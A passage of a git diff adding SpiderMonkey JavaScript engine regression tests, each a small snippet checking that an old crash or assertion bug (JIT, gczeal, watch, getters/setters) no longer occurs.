+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj2 = {};
+
+ // test various objects and scopes -
+ testThis(self);
+ testThis(this);
+ testThis(obj1);
+ testThis(obj2);
+
+ reportCompare('No Crash', 'No Crash', '');
+
+ exitFunc ('test');
+}
+
+
+// We're just testing that we don't crash by doing this -
+function testThis(obj)
+{
+ sToSource = obj.toSource();
+ obj.prop = obj;
+ sToSource = obj.toSource();
+}
diff --git a/js/src/tests/js1_5/extensions/regress-443569.js b/js/src/tests/js1_5/extensions/regress-443569.js
new file mode 100644
index 000000000..a0d3beb87
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-443569.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 443569;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof window != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+
+ window.addEventListener("load", boom, false);
+}
+else
+{
+ reportCompare(expect, actual, summary);
+}
+
+function boom()
+{
+ var r = RegExp.prototype;
+ r["-1"] = 0;
+ Array.prototype.__proto__ = r;
+ []["-1"];
+
+ reportCompare(expect, actual, summary);
+
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+
diff --git a/js/src/tests/js1_5/extensions/regress-446386.js b/js/src/tests/js1_5/extensions/regress-446386.js
new file mode 100644
index 000000000..b176d9922
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-446386.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446386;
+var summary = 'Do not crash throwing error without compiler pseudo-frame';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx == 'undefined')
+ {
+ print(expect = actual = 'Test skipped. evalcx required.');
+ }
+ else {
+ try
+ {
+ try {
+ evalcx(".");
+ throw "must throw";
+ } catch (e) {
+ if (e.name != "SyntaxError")
+ throw e;
+ }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-452168.js b/js/src/tests/js1_5/extensions/regress-452168.js
new file mode 100644
index 000000000..20c33f5be
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-452168.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452168;
+var summary = 'Do not crash with gczeal 2, JIT: @ avmplus::List or @ nanojit::LirBuffer::validate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'undefined')
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+ else
+ {
+ // Enumerate the global once before we turn on gczeal, so we're not
+ // trying to do all the enumerate hook object creation with a gc on
+ // every object, because that makes tests time out.
+ for (z in this);
+ gczeal(2);
+
+ var a, b; gczeal(2); (function() { for (var p in this) { } })();
+
+ gczeal(0);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-452178.js b/js/src/tests/js1_5/extensions/regress-452178.js
new file mode 100644
index 000000000..9f69fdebe
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-452178.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452178;
+var summary = 'Do not assert with JIT: !(sprop->attrs & JSPROP_SHARED)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ Object.defineProperty(this, "q", { get: function(){}, enumerable: true, configurable: true });
+ for (var j = 0; j < 4; ++j) q = 1;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-452329.js b/js/src/tests/js1_5/extensions/regress-452329.js
new file mode 100644
index 000000000..40f235a59
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-452329.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452329;
+var summary = 'Do not assert: *data->pc == JSOP_CALL || *data->pc == JSOP_NEW';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ this.__defineGetter__("x", "".match); if (x) 3;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-452338.js b/js/src/tests/js1_5/extensions/regress-452338.js
new file mode 100644
index 000000000..9b2203702
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-452338.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452338;
+var summary = 'Do not assert with JIT: obj2 == obj';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) __count__ = 3;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-452565.js b/js/src/tests/js1_5/extensions/regress-452565.js
new file mode 100644
index 000000000..6ca0e87c4
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-452565.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452565;
+var summary = 'Do not assert with JIT: !(sprop->attrs & JSPROP_READONLY)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var c = undefined; (function() { for (var j=0;j<5;++j) { c = 1; } })();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-453249.js b/js/src/tests/js1_5/extensions/regress-453249.js
new file mode 100644
index 000000000..910353da9
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-453249.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453249;
+var summary = 'Do not assert with JIT: s0->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+this.__proto__.a = 3; for (var j = 0; j < 4; ++j) { [a]; }
+
+this.a = 3; for (var j = 0; j < 4; ++j) { [a]; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-454040.js b/js/src/tests/js1_5/extensions/regress-454040.js
new file mode 100644
index 000000000..63b5e1488
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-454040.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454040;
+var summary = 'Do not crash @ js_ComputeFilename';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ this.__defineGetter__("x", Function);
+ this.__defineSetter__("x", Function);
+ this.watch("x", x.__proto__);
+ x = 1;
+}
+catch(ex)
+{
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-454142.js b/js/src/tests/js1_5/extensions/regress-454142.js
new file mode 100644
index 000000000..05f331278
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-454142.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454142;
+var summary = 'Do not crash with gczeal, setter, watch';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.watch("x", function(){});
+delete x;
+if (typeof gczeal == 'function')
+{
+ gczeal(2);
+}
+
+this.__defineSetter__("x", function(){});
+
+if (typeof gczeal == 'function')
+{
+ gczeal(0);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-454704.js b/js/src/tests/js1_5/extensions/regress-454704.js
new file mode 100644
index 000000000..e9339e4b9
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-454704.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454704;
+var summary = 'Do not crash with defineGetter and XPC wrapper';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof XPCSafeJSObjectWrapper != 'undefined' && typeof document != 'undefined')
+ {
+ gDelayTestDriverEnd = true;
+ document.addEventListener('load', boom, true);
+ }
+ else
+ {
+ print(expect = actual = 'Test requires browser.');
+ reportCompare(expect, actual, summary);
+ }
+ exitFunc ('test');
+}
+
+function boom()
+{
+ try
+ {
+ var a = [];
+ g = [];
+ g.__defineGetter__("f", g.toSource);
+ a[0] = g;
+ a[1] = XPCSafeJSObjectWrapper(a);
+ print("" + a);
+ }
+ catch(ex)
+ {
+ }
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_5/extensions/regress-455380.js b/js/src/tests/js1_5/extensions/regress-455380.js
new file mode 100644
index 000000000..f0405621d
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-455380.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455380;
+var summary = 'Do not assert with JIT: !lhs->isQuad() && !rhs->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+const IS_TOKEN_ARRAY =
+ [0, 0, 0, 0, 0, 0, 0, 0, // 0
+ 0, 0, 0, 0, 0, 0, 0, 0, // 8
+ 0, 0, 0, 0, 0, 0, 0, 0, // 16
+ 0, 0, 0, 0, 0, 0, 0, 0, // 24
+
+ 0, 1, 0, 1, 1, 1, 1, 1, // 32
+ 0, 0, 1, 1, 0, 1, 1, 0, // 40
+ 1, 1, 1, 1, 1, 1, 1, 1, // 48
+ 1, 1, 0, 0, 0, 0, 0, 0, // 56
+
+ 0, 1, 1, 1, 1, 1, 1, 1, // 64
+ 1, 1, 1, 1, 1, 1, 1, 1, // 72
+ 1, 1, 1, 1, 1, 1, 1, 1, // 80
+ 1, 1, 1, 0, 0, 0, 1, 1, // 88
+
+ 1, 1, 1, 1, 1, 1, 1, 1, // 96
+ 1, 1, 1, 1, 1, 1, 1, 1, // 104
+ 1, 1, 1, 1, 1, 1, 1, 1, // 112
+ 1, 1, 1, 0, 1, 0, 1]; // 120
+
+const headerUtils = {
+normalizeFieldName: function(fieldName)
+{
+ if (fieldName == "")
+ throw "error: empty string";
+
+ for (var i = 0, sz = fieldName.length; i < sz; i++)
+ {
+ if (!IS_TOKEN_ARRAY[fieldName.charCodeAt(i)])
+ {
+ throw (fieldName + " is not a valid header field name!");
+ }
+ }
+
+ return fieldName.toLowerCase();
+}
+};
+
+headerUtils.normalizeFieldName("Host");
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-455408.js b/js/src/tests/js1_5/extensions/regress-455408.js
new file mode 100644
index 000000000..358f6ed5b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-455408.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455408;
+var summary = 'Do not assert with JIT: "Should not move data from GPR to XMM": false';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if (({}).__proto__ = 1) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-455413.js b/js/src/tests/js1_5/extensions/regress-455413.js
new file mode 100644
index 000000000..d00ab135b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-455413.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455413;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+this.watch('x', Math.pow); (function() { for(var j=0;j<4;++j){x=1;} })();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-459606.js b/js/src/tests/js1_5/extensions/regress-459606.js
new file mode 100644
index 000000000..926e1eead
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-459606.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459606;
+var summary = '((0.1).toFixed()).toSource()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '(new String("0"))';
+ actual = ((0.1).toFixed()).toSource();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-462734-02.js b/js/src/tests/js1_5/extensions/regress-462734-02.js
new file mode 100644
index 000000000..f7ccb5977
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-462734-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ for (x in function(){}) ([]);
+ this.__defineGetter__("x", Function);
+ var obj = Object.create(x);
+ obj.prototype += [];
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-462734-03.js b/js/src/tests/js1_5/extensions/regress-462734-03.js
new file mode 100644
index 000000000..c350154fc
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-462734-03.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ Function.prototype.prototype;
+ var obj = Object.create(Function());
+ obj.prototype = obj.prototype;
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-462734-04.js b/js/src/tests/js1_5/extensions/regress-462734-04.js
new file mode 100644
index 000000000..a7fbe8f07
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-462734-04.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj;
+try
+{
+ Function.prototype.prototype = function() { return 42; }
+ obj = Object.create(Function());
+ obj.prototype = obj.prototype;
+}
+catch(ex)
+{
+}
+
+expect = 'object';
+actual = typeof obj.prototype;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-465145.js b/js/src/tests/js1_5/extensions/regress-465145.js
new file mode 100644
index 000000000..84f81703b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-465145.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465145;
+var summary = 'Do not crash with watched defined setter';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+this.__defineSetter__("x", function(){});
+this.watch("x", function(){});
+y = this;
+for (var z = 0; z < 2; ++z) { x = y };
+this.__defineSetter__("x", function(){});
+for (var z = 0; z < 2; ++z) { x = y };
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-465276.js b/js/src/tests/js1_5/extensions/regress-465276.js
new file mode 100644
index 000000000..960590d74
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-465276.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465276;
+var summary = '((1 * (1))|""';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ expect = '[1, 1, 1, 1, 1, 1, 1, 1, 1, 1]';
+ empty = [];
+ out = [];
+ for (var j=0;j<10;++j) { empty[42]; out.push((1 * (1)) | ""); }
+ print(actual = uneval(out));
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-469625.js b/js/src/tests/js1_5/extensions/regress-469625.js
new file mode 100644
index 000000000..fef1c0e12
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-469625.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'TM: Do not crash @ js_String_getelem';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ [].__proto__[0] = 'a';
+ for (var j = 0; j < 3; ++j) [[, ]] = [,];
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-469761.js b/js/src/tests/js1_5/extensions/regress-469761.js
new file mode 100644
index 000000000..c5c9cd9d7
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-469761.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469761;
+var summary = 'TM: Do not assert: STOBJ_GET_SLOT(callee_obj, JSSLOT_PRIVATE).isInt32()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var o = { __proto__: function(){} };
+ for (var j = 0; j < 3; ++j) { try { o.call(3); } catch (e) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-472599.js b/js/src/tests/js1_5/extensions/regress-472599.js
new file mode 100644
index 000000000..4cc260fd9
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-472599.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472599;
+var summary = 'Do not assert: STOBJ_GET_SLOT(callee_obj, JSSLOT_PRIVATE).isInt32()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = (function(){}).prototype;
+ a.__proto__ = a.toString;
+ for (var i = 0; i < 4; ++i) { try{ a.call({}); } catch(e) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-472787.js b/js/src/tests/js1_5/extensions/regress-472787.js
new file mode 100755
index 000000000..d3196f05f
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-472787.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472787;
+var summary = 'Do not hang with gczeal, watch and concat';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__defineSetter__("x", Math.sin);
+this.watch("x", '' .concat);
+
+if (typeof gczeal == 'function')
+{
+ gczeal(2);
+}
+
+x = 1;
+
+if (typeof gczeal == 'function')
+{
+ gczeal(0);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-476447.js b/js/src/tests/js1_5/extensions/regress-476447.js
new file mode 100644
index 000000000..5590445c4
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-476447.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476447;
+var summary = 'Array getter/setter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype.__defineGetter__('lastElement',(function() { return this[this.length-1]}));
+ Array.prototype.__defineSetter__('lastElement',(function(num){this[this.length-1]=num}));
+ var testArr=[1,2,3,4];
+
+ expect = 4;
+ actual = testArr.lastElement;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-479487.js b/js/src/tests/js1_5/extensions/regress-479487.js
new file mode 100644
index 000000000..a5d143f2e
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-479487.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479487;
+var summary = 'js_Array_dense_setelem can call arbitrary JS code';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ Array.prototype[1] = 2;
+
+ Array.prototype.__defineSetter__(32, function() { print("Hello from arbitrary JS");});
+ Array.prototype.__defineGetter__(32, function() { return 11; });
+
+ function f()
+ {
+ var a = [];
+ for (var i = 0; i != 10; ++i) {
+ a[1 << i] = 9999;
+ }
+ return a;
+ }
+
+ f();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-479551.js b/js/src/tests/js1_5/extensions/regress-479551.js
new file mode 100644
index 000000000..703ea5b9a
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-479551.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
